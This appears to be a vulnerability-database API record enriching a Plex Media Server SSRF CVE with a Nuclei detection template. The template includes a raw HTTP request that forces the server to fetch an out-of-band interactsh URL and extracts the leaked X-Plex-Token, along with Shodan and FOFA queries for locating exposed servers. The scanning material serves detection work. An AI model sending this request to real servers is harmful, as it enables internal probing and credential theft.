{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-96655/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-96655/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-96655/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-96655/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-96655/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-96655/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-96655"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-96655"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-96655.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2026-96655\n\ninfo:\n  name: Plex Media Server < 1.43.3.10861 - SSRF via Transcoder\n  author: DhiyaneshGeek\n  severity: medium\n  description: |\n    Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter.\n  impact: |\n    Attackers can force the server to fetch arbitrary URLs, enabling internal network probing and credential theft via X-Plex-Token leakage on the outbound request.\n  remediation: |\n    Update to version 1.43.3.10861 or later.\n  reference:\n    - https://zmain.info/blog/plex2shell\n    - https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319\n    - https://www.rapid7.com/db/vulnerabilities/cve-2026-96655/\n    - https://www.cve.org/CVERecord?id=CVE-2026-96655\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-96655\n    epss-score: 0.01637\n    epss-percentile: 0.76407\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: plex\n    product: plex_media_server\n    shodan-query: port:32400 \"X-Plex-Protocol\"\n    fofa-query: port=\"32400\" && header=\"X-Plex-Protocol\"\n  tags: cve,cve2026,plex,ssrf,oob,oast,plex2shell,kev,vkev,authenticated\n\nhttp:\n  - raw:\n      - |\n        GET /video/:/transcode/universal/start.m3u8?path=http://{{interactsh-url}}/item.xml&X-Plex-Token={{token}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{token}}\n        X-Plex-Platform: Chrome\n        X-Plex-Device: Linux\n        X-Plex-Product: Plex Web\n        X-Plex-Model: bundled\n        X-Plex-Client-Identifier: nuclei-test\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_request, 'item.xml')\"\n\n    extractors:\n      - type: kval\n        part: interactsh_request\n        kval:\n          - X-Plex-Token\n# digest: 490a0046304402202b25df04c96b62a43653d73f365348cb95f1020bd7e924e8a7c82302db4b2fca02204902aa7bd779195e627380f354dc1d16e1bc6c13e403272f75bc99a3cf726a8c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-96655"}